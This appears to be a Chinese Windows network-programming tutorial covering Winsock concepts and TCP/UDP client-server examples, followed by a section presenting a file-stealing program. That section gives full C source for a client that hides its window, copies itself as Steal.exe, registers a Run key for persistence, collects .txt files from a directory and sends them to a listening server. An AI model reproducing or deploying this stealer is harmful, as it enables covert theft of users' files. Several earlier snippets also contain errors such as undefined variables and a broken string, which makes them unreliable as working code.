2 Windows网络编程
1 基础概念
1.1 socket概念
Socket 的原意是“插座”,在计算机通信领域,socket 被翻译为“套接字”,它是计算机之间进行通信的一种约定或一种方式。Socket本质上是一个抽象层,它是一组用于网络通信的API,包括了一系列的函数和数据结构,它提供了一种标准的网络编程接口,使得应用程序可以在网络中进行数据传输。Socket本身并不是一个具体的实现,而是一个抽象的概念。不同的操作系统和编程语言可以通过不同的方式来实现Socket API.
1.2 什么是 C/S 模式
C/S模式是指Client/Server模式(客户端/服务器模式)。它是一种计算机架构模式,用于描述分布式计算中的两个主要组成部分:客户端和服务器。
客户端是指发起请求的用户或应用程序,它向服务器发送请求并等待服务器的响应。
服务器是指接受客户端请求,并提供相应服务或资源的中央计算机或系统。
1.3 面向连接和面向消息
面向连接的套接字:传输过程中数据不会丢失、按顺序传输、传输过程中不存在数据边界
面向消息的套接字:强调快速传输而非顺序、传输的数据可能丢失也可能销毁、限制每次传输数据的大小
1.4 IP地址和端口
IP地址:是指互联网协议地址,又称网际协议地址。IP地址是IP协议提供的一种统一的地址格式,它为互联网上的每一个网络和每一台主机分配一个逻辑地址,以此来屏蔽物理地址的差异。
Port:为了区分程序中创建的套接字而分配给套接字的序号。
1.5 套接字类型与协议设置
1.SOCK_STREAM(流套接字)
基于TCP协议,提供面向连接、可靠的数据传输方式。TCP协议通过建立连接、数据分段和重传机制等来保证数据的可靠性。由于TCP协议的特性,流套接字适合传输大量数据,如文件传输、网页浏览等。然而,TCP协议并不支持广播和多播,因为这些功能在可靠性方面很难保证。
2.SOCK_DGRAM(数据包套接字)
基于UDP协议,提供无连接的数据传输方式。UDP协议相比TCP协议更加简单,因为它没有连接建立和维护的开销,并且没有拥塞控制机制。UDP适用于实时性要求较高或数据量较小的应用场景,如音频/视频传输、实时游戏等。另外,UDP协议支持广播和多播,可以将一份数据同时发送给多个接收者。
3.SOCK_RAW(原始套接字)
可以读写内核没有处理的IP数据报,可以直接与网络层进行交互,避开了TCP/IP处理机制。原始套接字通常用于网络封包分析、网络扫描、网络安全检测等高级网络功能。
1.6 网络编程基本函数和基本数据结构
1.函数
//1.创建套接字,套接字函数创建绑定到特定传输服务提供程序的套接字。
SOCKET WSAAPI socket([in] int af,//地址系列规范,当前支持的值是AF_INET 或 AF_INET6[in] int type,//套接字类型[in] int protocol//使用的协议
);
//2.套接字与本地IP地址和端口号绑定
int bind(//如果未发生错误, 绑定将返回零。 否则,它将返回SOCKET_ERROR[in] SOCKET s,// 标识未绑定套接字的描述符。const sockaddr *addr,// 指向要分配给绑定套接字 的本地地址 的 sockaddr 结构的指针。[in] int namelen// addr 指向的值的长度(以字节为单位
);
//3.请求连接
int WSAAPI connect(// 如果未发生错误, 则连接 返回零。 否则,它将返回SOCKET_ERROR[in] SOCKET s,// 标识未连接的套接字的描述符。[in] const sockaddr *name,// 指向应建立连接的 sockaddr 结构的指针。[in] int namelen// name 参数指向的 sockaddr 结构的长度(以字节为单位)
);
//4.侦听连接请求
int WSAAPI listen(// 如果未发生错误, 则连接 返回零。 否则,它将返回SOCKET_ERROR[in] SOCKET s,// 标识绑定的未连接的套接字的描述符。[in] int backlog// 挂起的连接队列的最大长度
);
//5.接受连接请求
//如果未发生错误, 则 accept 返回 一个 SOCKET 类型的值,该值是新套接字的描述符。 此返回的值是建立实际连接的套接字的句柄。
// 否则,将返回 值 INVALID_SOCKET ,并且可以通过调用 WSAGetLastError 来检索特定的错误代码。
SOCKET WSAAPI accept([in] SOCKET s,// 标识绑定的未连接的套接字的描述符。[out] sockaddr *addr,// 指向接收连接实体地址的缓冲区的可选指针,称为通信层。[in, out] int *addrlen// 指向包含 addr 参数指向的结构长度的整数的可选指针。
);
//6.往已经连接好的套接字上发送数据
// 如果未发生错误, send 将返回发送的总字节数,该字节数可能小于 len 参数中请求发送的数量。
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int WSAAPI send([in] SOCKET s,// 标识连接的套接字的描述符。[in] const char *buf,// 向包含要传输的数据的缓冲区的指针。[in] int len,// buf 参数指向的缓冲区中的数据的长度(以字节为单位)[in] int flags// 一组指定调用方式的标志。
);
//7.从已经建立连接的套接字上接受数据
// 如果未发生错误, send 将返回发送的总字节数,该字节数可能小于 len 参数中请求发送的数量。
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int recv(// 阻塞函数,即在接收数据之前会一直等待,直到接收到数据或发生超时[in] SOCKET s,// 标识连接的套接字的描述符。[out] char *buf,// 向包含要接受的数据的缓冲区的指针。[in] int len,// buf 参数指向的缓冲区中的数据的长度(以字节为单位)[in] int flags// 一组指定调用方式的标志。
);
//8.在无连接的套接字上发送数据
// 如果未发生错误, sendto 将返回发送的总字节数,这可能小于 len 指示的数量。
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int sendto([in] SOCKET s,// 标识可能连接的 () 套接字的描述符。[in] const char *buf,// 指向包含要传输的数据的缓冲区的指针[in] int len,// buf 参数指向的数据的长度(以字节为单位)。[in] int flags,// 一组指定调用方式的标志[in] const sockaddr *to,// 指向包含目标套接字地址 的 sockaddr 结构的可选指针。[in] int tolen// 由 to 参数指向的地址的大小(以字节为单位)。
);
//9.在无连接的套接字上接受数据
int recvfrom([in] SOCKET s,// 标识绑定套接字的描述符。[out] char *buf,// 指向传入数据的缓冲区的指针[in] int len,// buf参数指向的缓冲区的长度(以字节为单位)。[in] int flags,// 一组选项,用于修改函数调用的行为,超出为关联套接字指定的选项[out] sockaddr *from,// 指向 sockaddr 结构中的缓冲区的可选指针,该缓冲区将在返回时保留源地址。[in, out, optional] int *fromlen// 指向 from 参数指向的缓冲区的大小(以字节为单位)的可选指针。
);
//10.关闭套接字
int close(int sockfd)
//11.
MAKEWORD
2.结构体
//1. SOCKADDR 结构是指定传输地址的泛型结构
typedef struct sockaddr {
#if ...u_short sa_family;// 16位地址类型2字节的传输地址的地址系列
#elseADDRESS_FAMILY sa_family;
#endifCHAR sa_data[14];// 包含传输地址数据的14 字节数组:IP+PORT
} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;//2. sockaddr_in表示 IPv4 地址和端口号的信息
typedef struct sockaddr_in {
#if ...short sin_family;// 传输地址的地址系列。 此成员应始终设置为 AF_INET
#elseADDRESS_FAMILY sin_family;
#endifUSHORT sin_port;// 16位的传输协议端口号。IN_ADDR sin_addr;// 32位的包含 IPv4 传输地址 的IN_ADDR 结构。CHAR sin_zero[8];// 预留给系统使用。 WSK 应用程序应将此数组的内容设置为零。
} SOCKADDR_IN, *PSOCKADDR_IN;//3.In_addr结构表示 IPv4 Internet 地址
// 通过 struct in_addr 结构体内的 S_un 成员,我们可以按照不同的需求选择适当的访问方式来表示和操作 IPv4 地址。
// 例如,我们可以使用 S_un_b.s_b1~S_un_b.s_b4 来依次访问 IPv4 的四个字节,也可以使用 S_un_w.s_w1 和 S_un_w.s_w2 来访问前两个和后两个字节。
// 另外,如果需要将 IPv4 地址转换成网络字节序的无符号长整型表示,则可以使用 S_addr 成员。
struct in_addr {union {struct {// 结构体类型,用于按字节访问 IP 地址。u_char s_b1;u_char s_b2;u_char s_b3;u_char s_b4;} S_un_b;struct {// 构体类型,用于按短整型访问 IP 地址。u_short s_w1;u_short s_w2;} S_un_w;u_long S_addr;// 无符号长整型,以网络字节序表示的 IPv4 地址。} S_un;
};
2 TCP连接
2.1 服务端
代码如下:
#include <WinSock2.h>// 用于支持网络编程。
#include <iostream>
#pragma comment(lib, "ws2_32.lib") // 告诉编译器链接ws2_32库,以便在编译时找到所需的函数。
#define _WINSOCK_DEPRECATED_NO_WARNINGS// 禁用某些已经过时的函数警告。int main(){// 1.加载套接字库 WORD wVersionRequested; // 请求的Winsock版本WSADATA wsaData; // 用于接收Winsock初始化后的信息。int err; // 错误码wVersionRequested = MAKEWORD(1,1); // 设置请求的Winsock版本为1.1 err = WSAStartup(wVersionRequested, &wsaData); // 初始化Winsock库,并获取相关信息。if (err != 0) { return err;}// 检查是否成功加载请求的Winsock版本。if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1) { WSACleanup();// 如果版本不匹配,调用WSACleanup函数清理Winsock资源。return -1; }// 新建TCP套接字 SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN addrSrv;// 表示服务器的地址结构体addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 监听任意本地IP地址addrSrv.sin_family = AF_INET; // 指定地址族为IPv4addrSrv.sin_port = htons(6000); // 绑定套接字到本地 IP 地址,端口号 6000 bind(sockSrv, (SOCKADDR*)& addrSrv, sizeof(SOCKADDR)); // 套接字绑定本地地址listen(sockSrv, 5); // 开始监听客户端连接,设置最大连接数量为5。SOCKADDR_IN addrCli; int len = sizeof(SOCKADDR); while (true) { // 接收客户连接 SOCKET sockConn = accept(sockSrv, (SOCKADDR*)& addrCli, &len); // (SOCKADDR*)&addrCli 传递了一个用于存储客户端地址信息的 SOCKADDR 结构体指针,当有客户端成功连接时,会将客户端的地址信息填写到 addrCli 中。// accept 函数会阻塞程序执行,直到有客户端发起连接请求。当有连接请求到达时,accept 函数会创建一个新的套接字 sockConn,专门用于与连接到的客户端进行通信。与此同时,它也会填写 addrCli 结构体,以提供客户端的地址信息。char sendBuf[100]; sprintf_s(sendBuf, 100, "Welcome %s to bingo!", inet_ntoa(addrCli.sin_addr)); //发送数据 len = send(sockConn, sendBuf, strlen(sendBuf) + 1, 0); if (iLen < 0) { printf("recv errorNum = %d\n", GetLastError());return -1;}char recvBuf[100]; //接收数据 len = recv(sockConn, recvBuf, 100, 0); //打印接收的数据 if (iLen < 0){ printf("recv errorNum = %d\n", GetLastError());return -1;}std::cout << recvBuf << std::endl; closesocket(sockConn); }closesocket(sockSrv); WSACleanup(); return 0;
}
2.2 客户端
代码如下:
#include<WinSock2.h>// 网络编程库
#include<stdio.h>
#include<stdlib.h>
#pragma comment(lib,"ws2_32.lib) // 告诉编译器链接ws2_32库,以便在编译时找到所需的函数
int main(){printf("Client\n"); char sendBuf[] = "hello,world";// 1 初始化网络库WORD wVersionRequested;WSADATA wsaData;int err;wVersionRequested = MAKEWORD(1,1);err = WSAStartup(wVersion, &wsaData); // 初始化和启动 Windows Sockets 库if (err != 0) { return err; }// 检查wsaData的版本是否与期望的一致,LOBYTE(wsaData.wVersion)// 提取 wsaData.wVersion 的低字节。 // HIBYTE(wsaData.wVersion) 提取 wsaData.wVersion 的高字节if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1) { WSACleanup();return -1;
}
// 2 创建套接字Socket sockCli = socket(AF_INET,SOCK_STREAM,0);// 服务端的网络结构体的创建与配置SOCKADDR_IN addrSrv;addrSrv.sin_port = htons(6000);addrSrv.sin_family = AF_INET;addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
// 3 连接服务器if(SOCKET_ERROR == connect(sockCli,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR))) {printf("connect errorNum = %d\n", GetLastError()); // 连接失败则返回最近windows捕捉的错误码return -1;}
// 4 发送和接受信息char recvBuf[100] = {0};int len = recv(sockCli,recvBuf,100,0);if(len < 0) {printf("recv errorNum = %d\n", GetLastError());return -1; }printf("Client recvBuf = %s\n", recvBuf);len = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);if (iLen < 0) { printf("send errorNum = %d\n", GetLastError()); return -1; }
// 5 关闭套接字closesocket(sockCli);WSACleanup(); system("pause");return 0;
}
2.3 实例结果
服务端:连接客户端后,发送数据与接受客户端的数据,最后打印接收的数据
客户端:连接服务端后,发送数据与接收服务端的数据,打印服务端接受的数据
3 UDP连接
3.1 服务端
#include<WinSock2.h>
#include<iostream>#pragma comment(lib,"ws2_32.lib")
using namespace std;
int main() {// 1 初始化网络库WORD wVersion;WSADATA wsaData;int err;wVersion = MAKEWORD(1, 1);err = WSAStartup(wVersion, &wsaData);if (err != 0) {WSACleanup();return err;}// 创建套接字 SOCKET sockSrv = socket(AF_INET, SOCK_DGRAM, 0);SOCKADDR_IN addrSrv; // 服务端网络结构体addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY); addrSrv.sin_family = AF_INET; addrSrv.sin_port = htons(6001); // 绑定套接字 bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)); // 等待并接收数据 SOCKADDR_IN addrCli; // 客户端结构体int len = sizeof(SOCKADDR_IN);char recvBuf[100]; char sendBuf[100]; while (true) { recvfrom(sockSrv, recvBuf, 100, 0, (SOCKADDR*)&addrCli, &len);std::cout << recvBuf << std::endl; sprintf_s(sendBuf, 100, "Ack %s", recvBuf); sendto(sockSrv, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)&addrCli, len);}// 关闭套接字closesocket(sockSrv); WSACleanup();system("pause"); return 0;
}
3.2 客户端
#include<WinSock2.h>
#include<iostream>#pragma comment(lib,"ws2_32.lib")
using namespace std;
int main() {// 1 初始化网络库WORD wVersion;WSADATA wsaData;int err;wVersion = MAKEWORD(1, 1);err = WSAStartup(wVersion, &wsaData);if (err != 0) {WSACleanup();return err;}// 创建套接字 SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);SOCKADDR_IN addrSrv;// 服务端网络结构体addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); addrSrv.sin_port = htons(6001); addrSrv.sin_family = AF_INET; int len = sizeof(SOCKADDR);char sendBuf[] = "hello";char recvBuf[100]; //发送数据 sendto(sockCli, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)& addrSrv, len);recvfrom(sockCli, recvBuf, 100, 0, (SOCKADDR*)& addrSrv, &len); std::cout << recvBuf << std::endl; closesocket(sockCli); system("pause");return 0;
}
3.3 实例结果
服务端
客户端
4 案例之网络文件截取
4.1 相关结构体与函数
// 1 用于描述文件或目录的属性和信息
typedef struct _WIN32_FIND_DATAW {DWORD dwFileAttributes;// 文件的文件属性。FILETIME ftCreationTime;// 指定创建文件或目录的时间。FILETIME ftLastAccessTime;// 对于文件,结构指定上次从中读取、写入文件或运行可执行文件的运行时间FILETIME ftLastWriteTime;// 对于文件,结构指定文件的上次写入、截断或覆盖时间,DWORD nFileSizeHigh;// 文件大小的高阶 DWORD 值(以字节为单位)DWORD nFileSizeLow;// 文件大小的低序 DWORD 值(以字节为单位)DWORD dwReserved0;DWORD dwReserved1;WCHAR cFileName[MAX_PATH];// 文件的名称WCHAR cAlternateFileName[14];// 文件的可选名称DWORD dwFileType; // Obsolete. Do not use.DWORD dwCreatorType; // Obsolete. Do not useWORD wFinderFlags; // Obsolete. Do not use
} WIN32_FIND_DATAW, *PWIN32_FIND_DATAW, *LPWIN32_FIND_DATAW;
// 2 用于在指定的目录中查找与指定的文件名匹配的第一个文件或目录
HANDLE FindFirstFile([in] LPCTSTR lpFileName,// 指定要搜索的文件或目录的路径和文件名。可以包含通配符。[out] LPWIN32_FIND_DATA lpFindFileData// 指向 WIN32_FIND_DATA 结构体(或 _WIN32_FIND_DATAW 结构体)的指针,用于接收查找到的文件或目录的信息。
);
// 3 用于继续在指定的目录中查找与上一次调用 FindFirstFile 或 FindNextFile 函数匹配的下一个文件或目录。
BOOL FindNextFile([in] HANDLE hFindFile,// 搜索句柄,由之前的 FindFirstFile 或 FindNextFile 函数返回
[out] LPWIN32_FIND_DATA lpFindFileData// 指向 WIN32_FIND_DATA 结构体(或 _WIN32_FIND_DATAW 结构体)的指针,用于接收查找到的文件或目录的信息。
);
// 用于获取当前处于前台(活动)状态的窗口的句柄
HWND GetForegroundWindow();
// 用于显示或隐藏指定窗口。
BOOL ShowWindow(HWND hWnd, int nCmdShow);// hwnd是窗口的句柄;nCmdShow代表指定窗口显示状态
// 用于获取指定模块的文件名
DWORD GetModuleFileName(_In_opt_ HMODULE hModule,// 文件名的模块的句柄_Out_ LPTSTR lpFilename,// 获取到的模块文件名的缓冲区,以字符串形式存储_In_ DWORD nSize// 指定缓冲区的大小(字符数),要预留足够的空间来存储完整的文件名
);
// 将一个文件复制到指定位置。
BOOL CopyFile(_In_ LPCTSTR lpExistingFileName,// 要复制的文件的路径和文件名_In_ LPCTSTR lpNewFileName,// 指定复制后的文件路径和文件名_In_ BOOL bFailIfExists// 如果新文件已经存在,是否失败。如果设置为 TRUE,则如果目标文件已经存在,则取消复制操作。如果设置为 FALSE,则重写目标文件
);
// 用于打开一个指定的注册表项。
LSTATUS RegOpenKeyEx(_In_ HKEY hKey,// 要打开的注册表的父项句柄。_In_opt_ LPCTSTR lpSubKey,// 要打开的注册表项的相对路径_In_ DWORD ulOptions,// 打开选项。常用的选项包括 REG_OPTION_OPEN_LINK、REG_OPTION_BACKUP_RESTORE 和 REG_OPTION_CREATE_LINK 等。一般可以设置为 0。_In_ REGSAM samDesired,// 访问权限标志。用于指定打开注册表项的访问权限,例如读取或修改。_Out_ PHKEY phkResult// 返回打开的注册表项的句柄。
);
// 用于关闭一个打开的注册表项
LSTATUS RegCloseKey(_In_ HKEY hKey// 要关闭的注册表项的句柄。
);
// 设置注册表中指定键的值。
LSTATUS RegSetValueEx(_In_ HKEY hKey,// 要设置值的注册表键的句柄_In_opt_ LPCTSTR lpValueName ,// 要设置的值的名称_Reserved_ DWORD Reserved,//保留参数,必须设置为 0。_In_ DWORD dwType,// 要设置的值的数据类型_In_ const BYTE *lpData,// 要设置的值的数据。_In_ DWORD cbData// 要设置的值的数据大小,以字节为单位
);
// 在指定路径中查找匹配指定模式的第一个文件
intptr_t _findfirst(const char* filespec,// 要查找的文件规则或路径,可以使用通配符进行匹配。struct _finddata_t* fileinfo// 用于存储查找到的文件信息的结构体指针
);
4.2 目的:客户端窃取指定目录下后缀为.txt文件内容,并将文件内容传输至服务端,服务端接收客户端传来的数据。
4.3客户端
#include <stdio.h>
#include <windows.h>
#include <io.h> #pragma comment(lib, "ws2_32.lib")
int SendtoServer(const char* path) {//0 初始化网络库 // 加载套接字库 WORD wVersionRequested;WSADATA wsaData;int err;char sendBuf[1024] = {0};wVersionRequested = MAKEWORD(2, 2); // 1、初始化套接字库err = WSAStartup(wVersionRequested, &wsaData);if (err != 0) { printf("WSAStartup errorNum = %d\n", GetLastError());system("pause");return err;}if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) { printf("LOBYTE errorNum = %d\n", GetLastError());WSACleanup();system("pause");return -1;}// 2 安装电话机 // 新建套接字 SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);if (INVALID_SOCKET == sockCli) {printf("socket errorNum = %d\n", GetLastError()); system("pause"); return -1;}SOCKADDR_IN addrSrv;addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");addrSrv.sin_family = AF_INET;addrSrv.sin_port = htons(6000); // 3 连接服务器 if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR))) { printf("connect errorNum = %d\n", GetLastError()); system("pause"); return -1; }// 4 读取文件内容 FILE* fp = fopen(path, "rb"); int len = fread(sendBuf, 1, 1024, fp);fclose(fp);// 5 发送数据 int iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0); if (iLen < 0) { printf("send errorNum = %d\n", GetLastError()); system("pause");return -1;}// 关闭套接字closesocket(sockCli);//WSACleanup(); return 0;
}
int DoSteal(const char* szPath) { // 1 遍历 szPath 下所有的文件 WIN32_FIND_DATA FindFileData;// FindFileData 表示文件HANDLE hListFile; //文件用句柄来标识,编号 char szFilePath[MAX_PATH] = {0}; strcpy(szFilePath, szPath);strcat(szFilePath, "\\*"); // 2 首先找到第一个文件,用 hListFile 标识 hListFile = FindFirstFile(szFilePath, &FindFileData); // 3 循环遍历所有文件 do{ char mypath[MAX_PATH] = { 0 }; strcpy(mypath, szPath); strcat(mypath, FindFileData.cFileName); if (strstr(mypath, ".txt")) //txt 文件 { //真真正正开始窃取文件printf("mypath = %s\n", mypath);SendtoServer(mypath);} } while (FindNextFile(hListFile, &FindFileData));//FindNextFile 的返回值为 NULL,退出循环 return 0;
}
// 加入注册表
void AddToSystem() {// 0 定义变量HKEY hKEY; char CurrentPath[MAX_PATH]; char SysPath[MAX_PATH]; long ret = 0; LPSTR FileNewName; LPSTR FileCurrentName; DWORD type = REG_SZ; DWORD size = MAX_PATH;LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";//regedit win + R GetSystemDirectory(SysPath, size);GetModuleFileName(NULL, CurrentPath, size);//Copy File FileCurrentName = CurrentPath;// 当前程序的路径FileNewName = lstrcat(SysPath, "\\Steal.exe");// 拼接出复制后文件的路径// 1 检查是否已经复制了目标文件。如果已经复制,则直接退出程序。struct _finddata_t Steal;printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);if (_findfirst(FileNewName, &Steal) != -1) return;//已经安装!printf("ret2 = %d\n", ret); // 2 弹出一个警告框,提醒用户该程序将使计算机处于被监控状态int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n 继续运行该程序将使这台机器 处于被监控的状态!\n 如果您不想这样,请按“取消”按钮退出。\n 按下“是”按钮该程序将被复制 到您的机器上,并随系统启动自动运行。\n 按下“否”按钮,程序只运行一次,不会在您的系统内留下 任何东西。","警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);if (ihow == IDCANCEL) exit(0);if (ihow == IDNO) return;//只运行一次 // 3 复制文件,复制当前程序文件到目标文件。ret = CopyFile(FileCurrentName, FileNewName, TRUE); if (!ret) {return; }// 4 加入注册表printf("ret = %d\n", ret);ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);// 打开注册表项if (ret != ERROR_SUCCESS){RegCloseKey(hKEY);return;}// 5 设置注册表项的值为复制后的文件路径ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size);if (ret != ERROR_SUCCESS) { RegCloseKey(hKEY); return; }// 6 关闭注册表RegCloseKey(hKEY);
}
// 隐藏本窗口
void HideMyself() { // 拿到当前的窗口句柄HWND hwnd = GetForegroundWindow();// 隐藏本窗口ShowWindow(hwnd, SW_HIDE);
}
int main() {printf("Steal\n");// 隐藏自身 HideMyself();// 添加到启动项 AddToSystem();// 指定文件路径去截取文件DoSteal("D:\\code\\cpp\\stealtest\\");return 0;
}
4.4 服务端
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#define MAX_SIZE 1024
//控制台打印错误码的函数
void ErrorHanding(const char *msg)
{ fputs(msg, stderr);fputc('\n', stderr);exit(1);
}
int main()
{ WORD wVersionRequested; WSADATA wsaData; int err; char msg[MAX_SIZE] = { 0 };wVersionRequested = MAKEWORD(2, 2);// 1、初始化套接字库 err = WSAStartup(wVersionRequested, &wsaData);if (err != 0) { ErrorHanding("WSAStartup error"); }if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) { printf("LOBYTE errorNum = %d\n", GetLastError()); WSACleanup();ErrorHanding("LOBYTE error"); return -1; }// 2 建立 socketSOCKET hServerSock = socket(PF_INET, SOCK_STREAM, 0);if (INVALID_SOCKET == hServerSock) {ErrorHanding("socket error"); }SOCKADDR_IN addrSrv; addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);addrSrv.sin_family = AF_INET;addrSrv.sin_port = htons(6000); // 3 分配电话号码 // 绑定套接字到本地 IP 地址,端口号 9527 if (SOCKET_ERROR == bind(hServerSock, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR))) {ErrorHanding("socket error"); }// 4、监听 listenif (SOCKET_ERROR == listen(hServerSock, 5)){ ErrorHanding("listen error"); }SOCKADDR_IN addrCli; int cliAdrSize = sizeof(SOCKADDR_IN);SOCKET cliSock;int strLen = 0;// 5 循环接收数据 while(TRUE) { cliSock = accept(hServerSock, (SOCKADDR*)&addrCli, &cliAdrSize); if (SOCKET_ERROR == cliSock) { ErrorHanding("accept error");}memset(msg, 0, MAX_SIZE); while ((strLen = recv(cliSock, msg, MAX_SIZE, 0)) != 0) { printf("Server msg = %s\n",msg);}closesocket(cliSock);}closesocket(hServerSock);WSACleanup();return 0;
}
4.5 结果展示
客户端:将本程序加入注册表,隐藏控制台窗口,读取指定路径下特定文件的内容,发送给服务端
服务端控制台输出得到的数据(乱码问题没解决)
相关文章:
2 Windows网络编程
1 基础概念 1.1 socket概念 Socket 的原意是“插座”,在计算机通信领域,socket 被翻译为“套接字”,它是计算机之间进行通信的一种约定或一种方式。Socket本质上是一个抽象层,它是一组用于网络通信的API,包括了一系列…...
uniapp选择android非图片文件的方案踩坑记录
这个简单的问题我遇到下面6大坑,原始需求是选择app如android的excel然后读取到页面并上传表格数据json 先看看效果 uniapp 选择app excel文件读取 1.uniapp自带不支持 uniapp选择图片和视频非常方便自带已经支持可以直接上传和读取 但是选择word excel的时候就出现…...
前端发开的性能优化 请求级:请求前(资源预加载和预读取)
预加载 预加载:是优化网页性能的重要技术,其目的就是在页面加载过程中先提前请求和获取相关的资源信息,减少用户的等待时间,提高用户的体验性。预加载的操作可以尝试去解决一些类似于减少首次内容渲染的时间,提升关键资…...
B01、类加载子系统-02
JVM架构图-英文版 中文版见下图: 1、概述类的加载器及类加载过程 1.1、类加载子系统的作用 类加载器子系统负责从文件系统或者网络中加载Class文件,class文件在文件开头有特定的文件标识。ClassLoader只负责class文件的加载,至于它是否可以运行,则由Execution Engi…...
用PHP搭建一个绘画API
【腾讯云AI绘画】用PHP搭建一个绘画API 大家好!今天我要给大家推荐的是如何用PHP搭建一个绘画API,让你的网站或应用瞬间拥有强大的绘画能力!无论你是想要让用户在网页上绘制自己的创意,还是想要实现自动绘画生成特效,这…...
西安人民检察院 | OLED翻页查询一体机
产品:55寸OLED柔性屏 项目时间:2023年12月 项目地点:西安 在2023年12月,西安人民检察院引入了OLED翻页查询一体机,为来访者提供了一种全新的信息查询方式。 这款一体机采用55寸OLED柔性屏,具有高清晰度、…...
superset利用mysql物化视图解决不同数据授权需要写好几次中文别名的问题
背景 在使用superset时,给不同的人授权不同的数据,需要不同的数据源,可视化字段希望是中文,所以导致不同的人需要都需要去改表的字段,因此引入视图,将视图中字段名称设置为中文 原表数据 select * from …...
输入输出流
1.输入输出流 输入/输出流类:iostream---------i input(输入) o output(输出) stream:流 iostream: istream类:输入流类-------------cin:输入流类的对象 ostream类…...
IOS:Safari无法播放MP4(H.264编码)
一、问题描述 MP4使用H.264编码通常具有良好的兼容性,因为H.264是一种广泛支持的视频编码标准。它可以在许多设备和平台上播放,包括电脑、移动设备和流媒体设备。 使用caniuse查询H.264兼容性,看似确实具有良好的兼容性: 然而…...
Pycharm恢复默认设置
window 系统 找到下方目录-->删除. 再重新打开Pycharm C:\Users\Administrator\.PyCharm2023.3 你的不一定和我名称一样 只要是.PyCharm*因为版本不同后缀可能不一样 mac 系统 请根据需要删除下方目录 # Configuration rm -rf ~/Library/Preferences/PyCharm* # Caches …...
简单计算器实现,包括两个数
正在加载中... 简单计算器实现,包括两个数 ❤ 厾罗 简单计算器实现,包括两个数 以下代码用于实现简单计算器实现,包括两个数基本的加减乘除运算: 实例(Python 3.0) # Filename : test.py # author by : www.dida100.com …...
竞赛保研 基于机器视觉的手势检测和识别算法
0 前言 🔥 优质竞赛项目系列,今天要分享的是 基于深度学习的手势检测与识别算法 该项目较为新颖,适合作为竞赛课题方向,学长非常推荐! 🧿 更多资料, 项目分享: https://gitee.com/dancheng…...
Android App从备案到上架全过程
不知道大家注意没有,最近几年来,新的移动App想要上架是会非常困难的,并且对于个人开发者和小企业几乎是难如登天,各种备案和审核。但是到底有多难,或许只有上架过的才会有所体会。 首先是目前各大应用市场陆续推出新的声明,各种备案截止日期到12月就要到最后期限责令整改…...
用邮件及时获取变更的公网IP--------python爬虫+打包成exe文件
参考获取PC机公网IP并发送至邮箱 零、找一个发送邮件的邮箱 本文用QQ邮箱为发送邮箱,网易等邮箱一般也有这个功能,代码也是通用的。 第一步:在设置中找到账户,找到POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务,点击获…...
c++学习:函数模板+实战
目录 函数模板 思考 如果两个参数的类型不一样可以下面这么写 如果有指定返回参数可以下面这么写 实战 找出三个数中最大的一个 函数模板 实际上就是建立一个通用函数,其函数返回值类型和形参类型不具体指定,用一个虚拟的类型来代表template 是一个…...
three.js gltf后处理颜色异常(伽马校正)
效果: 应用了伽马校正,好像效果不明显 代码: <template><div><el-container><el-main><div class"box-card-left"><div id"threejs" style"border: 1px solid red"><…...
面试经典150题(55-58)
leetcode 150道题 计划花两个月时候刷完,今天(第二十四天)完成了4道(55-58)150: 55.(19. 删除链表的倒数第 N 个结点)题目描述: 给你一个链表,删除链表的倒数第 n 个结点ÿ…...
如果一个n位正整数等于其各位数字的n次方之和
❤ 厾罗 如果一个n位正整数等于其各位数字的n次方之和 如果一个n位正整数等于其各位数字的n次方之和,则称该数为阿姆斯特朗数。 例如1^3 5^3 3^3 153。 1000以内的阿姆斯特朗数: 1, 2, 3, 4, 5, 6, 7, 8, 9, 153, 370, 371, 407。 以下代码用于检测用户输…...
solidity显示以太坊美元价格
看过以太坊白皮书的都知道,以太坊比较比特币而言所提升的地方中,我认为最重要的一点就是能够访问外部的数据,这一点在赌博、金融领域应用会很广泛,但是区块链是一个确定的系统,包括里面的所有数值包括交易ID等都是确定…...
ChatGPT学习笔记——大模型基础理论体系
1、ChatGPT的背景与意义 近期,ChatGPT表现出了非常惊艳的语言理解、生成、知识推理能力, 它可以极好的理解用户意图,真正做到多轮沟通,并且回答内容完整、重点清晰、有概括、有条理。 ChatGPT 是继数据库和搜索引擎之后的全新一代的 “知识表示和调用方式”如下表所示。 …...
